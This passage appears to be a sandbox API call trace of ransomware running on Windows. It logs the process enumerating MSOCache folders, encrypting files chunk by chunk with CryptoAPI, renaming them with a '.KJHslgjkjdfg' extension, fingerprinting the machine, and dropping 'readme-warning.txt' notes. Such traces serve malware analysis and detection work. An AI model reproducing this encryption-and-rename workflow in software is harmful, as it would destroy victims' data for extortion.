hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff520 | out: lpNewFilePointer=0x0) returned 1 [0149.708] WriteFile (in: hFile=0x124, lpBuffer=0x4dff510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4dff510*, lpNumberOfBytesWritten=0x4dff4f8*=0x8, lpOverlapped=0x0) returned 1 [0149.708] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4fc | out: phKey=0x4dff4fc*=0x2f18208) returned 1 [0149.708] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0149.708] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.708] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x708, lpNumberOfBytesRead=0x4dff504, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff504*=0x708, lpOverlapped=0x0) returned 1 [0149.708] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4e0*=0x710, dwBufLen=0x710 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4e0*=0x710) returned 1 [0149.708] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.708] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x710, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4f8*=0x710, lpOverlapped=0x0) returned 1 [0149.709] CryptDestroyKey (hKey=0x2f18208) returned 1 [0149.709] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x7e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.709] SetEndOfFile (hFile=0x124) returned 1 [0149.711] GetProcessHeap () returned 0x2ef0000 [0149.711] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0149.711] GetProcessHeap () returned 0x2ef0000 [0149.711] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0149.711] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml.kjhslgjkjdfg")) returned 1 [0149.712] CloseHandle (hObject=0x124) returned 1 [0149.712] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x708, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WordMUI.xml", cAlternateFileName="")) returned 0 [0149.712] GetProcessHeap () returned 0x2ef0000 [0149.712] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0149.712] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dff2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18208) returned 1 [0149.712] CryptDecrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898, pdwDataLen=0x4dff330 | out: pbData=0x2f0c898, pdwDataLen=0x4dff330) returned 1 [0149.712] CryptDestroyKey (hKey=0x2f18208) returned 1 [0149.712] GetProcessHeap () returned 0x2ef0000 [0149.712] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c8e0 [0149.712] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dff2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18208) returned 1 [0149.712] CryptDecrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c8e0, pdwDataLen=0x4dff330 | out: pbData=0x2f0c8e0, pdwDataLen=0x4dff330) returned 1 [0149.712] CryptDestroyKey (hKey=0x2f18208) returned 1 [0149.712] GetProcessHeap () returned 0x2ef0000 [0149.712] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3c0) returned 0x2f3d270 [0149.712] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dff2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18208) returned 1 [0149.712] CryptDecrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f3d270, pdwDataLen=0x4dff330 | out: pbData=0x2f3d270, pdwDataLen=0x4dff330) returned 1 [0149.712] CryptDestroyKey (hKey=0x2f18208) returned 1 [0149.712] GetProcessHeap () returned 0x2ef0000 [0149.713] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c928 [0149.713] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfeea0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18208) returned 1 [0149.713] CryptDecrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c928, pdwDataLen=0x4dfef10 | out: pbData=0x2f0c928, pdwDataLen=0x4dfef10) returned 1 [0149.713] CryptDestroyKey (hKey=0x2f18208) returned 1 [0149.713] GetProcessHeap () returned 0x2ef0000 [0149.713] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11778 [0149.713] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfeea0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18208) returned 1 [0149.713] CryptDecrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11778, pdwDataLen=0x4dfef10 | out: pbData=0x2f11778, pdwDataLen=0x4dfef10) returned 1 [0149.713] CryptDestroyKey (hKey=0x2f18208) returned 1 [0149.713] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x4dfef0c | out: phkResult=0x4dfef0c*=0x124) returned 0x0 [0149.713] RegQueryValueExA (in: hKey=0x124, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x4dfef18, lpcbData=0x4dfef14*=0x400 | out: lpType=0x0, lpData=0x4dfef18*=0x30, lpcbData=0x4dfef14*=0x18) returned 0x0 [0149.713] RegCloseKey (hKey=0x124) returned 0x0 [0149.713] GetProcessHeap () returned 0x2ef0000 [0149.713] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c928 | out: hHeap=0x2ef0000) returned 1 [0149.713] GetProcessHeap () returned 0x2ef0000 [0149.713] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11778 | out: hHeap=0x2ef0000) returned 1 [0149.713] GetProcessHeap () returned 0x2ef0000 [0149.713] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11778 [0149.713] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfec80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18208) returned 1 [0149.713] CryptDecrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11778, pdwDataLen=0x4dfece4 | out: pbData=0x2f11778, pdwDataLen=0x4dfece4) returned 1 [0149.713] CryptDestroyKey (hKey=0x2f18208) returned 1 [0149.713] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x4dfece8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0149.713] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x4dfece0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x4dfece0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0149.714] GetProcessHeap () returned 0x2ef0000 [0149.714] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11778 | out: hHeap=0x2ef0000) returned 1 [0149.714] wsprintfA (in: param_1=0x4dfef2f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0149.714] wsprintfA (in: param_1=0x4dff33c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0149.714] GetProcessHeap () returned 0x2ef0000 [0149.714] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3b4) returned 0x2f3d638 [0149.714] wsprintfW (in: param_1=0x4dfe30c, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\readme-warning.txt") returned 81 [0149.714] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\readme-warning.txt" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0149.714] WriteFile (in: hFile=0x124, lpBuffer=0x2f3d638*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x4dfe308, lpOverlapped=0x0 | out: lpBuffer=0x2f3d638*, lpNumberOfBytesWritten=0x4dfe308*=0x3b3, lpOverlapped=0x0) returned 1 [0149.715] CloseHandle (hObject=0x124) returned 1 [0149.716] GetProcessHeap () returned 0x2ef0000 [0149.716] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f3d270 | out: hHeap=0x2ef0000) returned 1 [0149.716] GetProcessHeap () returned 0x2ef0000 [0149.716] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f3d638 | out: hHeap=0x2ef0000) returned 1 [0149.716] GetProcessHeap () returned 0x2ef0000 [0149.716] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c8e0 | out: hHeap=0x2ef0000) returned 1 [0149.716] GetProcessHeap () returned 0x2ef0000 [0149.716] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0149.716] FindClose (in: hFindFile=0x2f181c8 | out: hFindFile=0x2f181c8) returned 1 [0149.716] GetProcessHeap () returned 0x2ef0000 [0149.716] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f16bd8 | out: hHeap=0x2ef0000) returned 1 [0149.716] FindNextFileW (in: hFindFile=0x2f122c8, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf00dbad0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf58c8770, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf58c8770, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="{90140000-002C-0409-1000-0000000FF1CE}-C", cAlternateFileName="{92787~1")) returned 1 [0149.716] GetProcessHeap () returned 0x2ef0000 [0149.716] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8e) returned 0x2f14588 [0149.716] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\*.*", lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf00dbad0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf58c8770, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf58c8770, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f181c8 [0149.732] GetProcessHeap () returned 0x2ef0000 [0149.732] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14588 | out: hHeap=0x2ef0000) returned 1 [0149.732] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf00dbad0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf58c8770, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf58c8770, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0149.732] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf01c0310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf07b3a10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf07b3a10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Proof.en", cAlternateFileName="")) returned 1 [0149.732] GetProcessHeap () returned 0x2ef0000 [0149.732] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x290) returned 0x2f16bd8 [0149.732] GetProcessHeap () returned 0x2ef0000 [0149.732] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0xa0) returned 0x2f14588 [0149.732] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\*.*", lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf01c0310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf07b3a10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf07b3a10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f18208 [0149.732] GetProcessHeap () returned 0x2ef0000 [0149.732] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14588 | out: hHeap=0x2ef0000) returned 1 [0149.732] FindNextFileW (in: hFindFile=0x2f18208, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf01c0310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf07b3a10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf07b3a10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0149.732] FindNextFileW (in: hFindFile=0x2f18208, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x219b4a00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x219b4a00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf07b1ad0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xaf35ed, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Proof.cab", cAlternateFileName="")) returned 1 [0149.732] GetProcessHeap () returned 0x2ef0000 [0149.732] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x2a2) returned 0x2f16e70 [0149.732] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0149.736] GetFileSizeEx (in: hFile=0xf0, lpFileSize=0x4dff280 | out: lpFileSize=0x4dff280*=11482605) returned 1 [0149.736] GetProcessHeap () returned 0x2ef0000 [0149.736] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0149.736] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0149.736] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.736] WriteFile (in: hFile=0xf0, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x4dff26c, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff26c*=0x3, lpOverlapped=0x0) returned 1 [0149.798] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff270 | out: phKey=0x4dff270*=0x2f18248) returned 1 [0149.799] CryptSetKeyParam (hKey=0x2f18248, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0149.799] GetProcessHeap () returned 0x2ef0000 [0149.799] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0149.799] CryptEncrypt (in: hKey=0x2f18248, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dff250*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dff250*=0x30) returned 1 [0149.799] CryptDestroyKey (hKey=0x2f18248) returned 1 [0149.799] WriteFile (in: hFile=0xf0, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dff26c, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dff26c*=0x30, lpOverlapped=0x0) returned 1 [0149.799] WriteFile (in: hFile=0xf0, lpBuffer=0x4dff274*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff26c, lpOverlapped=0x0 | out: lpBuffer=0x4dff274*, lpNumberOfBytesWritten=0x4dff26c*=0x4, lpOverlapped=0x0) returned 1 [0149.799] WriteFile (in: hFile=0xf0, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff26c, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff26c*=0x10, lpOverlapped=0x0) returned 1 [0149.799] WriteFile (in: hFile=0xf0, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff26c, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff26c*=0x80, lpOverlapped=0x0) returned 1 [0149.800] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0149.800] WriteFile (in: hFile=0xf0, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff26c, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff26c*=0x8, lpOverlapped=0x0) returned 1 [0149.800] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff270 | out: phKey=0x4dff270*=0x2f18248) returned 1 [0149.800] CryptSetKeyParam (hKey=0x2f18248, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0149.800] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff240 | out: lpNewFilePointer=0x0) returned 1 [0149.800] ReadFile (in: hFile=0xf0, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x4dff234, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff234*=0x40000, lpOverlapped=0x0) returned 1 [0149.861] CryptEncrypt (in: hKey=0x2f18248, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff23c*=0x40000, dwBufLen=0x40000 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff23c*=0x40000) returned 1 [0150.226] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.226] WriteFile (in: hFile=0xf0, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x4dff238, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff238*=0x40000, lpOverlapped=0x0) returned 1 [0150.227] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xaf36b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.227] WriteFile (in: hFile=0xf0, lpBuffer=0x4dff240*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff238, lpOverlapped=0x0 | out: lpBuffer=0x4dff240*, lpNumberOfBytesWritten=0x4dff238*=0x8, lpOverlapped=0x0) returned 1 [0150.227] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x3a674f, lpNewFilePointer=0x0, dwMoveMethod=0x4dff240 | out: lpNewFilePointer=0x0) returned 1 [0150.227] ReadFile (in: hFile=0xf0, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x4dff234, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff234*=0x40000, lpOverlapped=0x0) returned 1 [0150.295] CryptEncrypt (in: hKey=0x2f18248, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff23c*=0x40000, dwBufLen=0x40000 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff23c*=0x40000) returned 1 [0150.298] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x3a674f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.298] WriteFile (in: hFile=0xf0, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x4dff238, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff238*=0x40000, lpOverlapped=0x0) returned 1 [0150.300] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xaf36b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.300] WriteFile (in: hFile=0xf0, lpBuffer=0x4dff240*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff238, lpOverlapped=0x0 | out: lpBuffer=0x4dff240*, lpNumberOfBytesWritten=0x4dff238*=0x8, lpOverlapped=0x0) returned 1 [0150.300] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xab35f0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff240 | out: lpNewFilePointer=0x0) returned 1 [0150.300] ReadFile (in: hFile=0xf0, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x4dff234, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff234*=0x40000, lpOverlapped=0x0) returned 1 [0150.327] CryptEncrypt (in: hKey=0x2f18248, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff23c*=0x40000, dwBufLen=0x40000 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff23c*=0x40000) returned 1 [0150.330] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xab35f0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.330] WriteFile (in: hFile=0xf0, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x4dff238, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff238*=0x40000, lpOverlapped=0x0) returned 1 [0150.331] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xaf36b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.331] WriteFile (in: hFile=0xf0, lpBuffer=0x4dff240*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff238, lpOverlapped=0x0 | out: lpBuffer=0x4dff240*, lpNumberOfBytesWritten=0x4dff238*=0x8, lpOverlapped=0x0) returned 1 [0150.331] CryptDestroyKey (hKey=0x2f18248) returned 1 [0150.331] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xaf36b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.331] SetEndOfFile (hFile=0xf0) returned 1 [0150.335] GetProcessHeap () returned 0x2ef0000 [0150.335] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0150.335] GetProcessHeap () returned 0x2ef0000 [0150.335] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0150.336] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab.kjhslgjkjdfg")) returned 1 [0150.902] CloseHandle (hObject=0xf0) returned 1 [0150.902] FindNextFileW (in: hFindFile=0x2f18208, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4db6cb00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x4db6cb00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf020c5d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd5c00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Proof.msi", cAlternateFileName="")) returned 1 [0150.902] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, 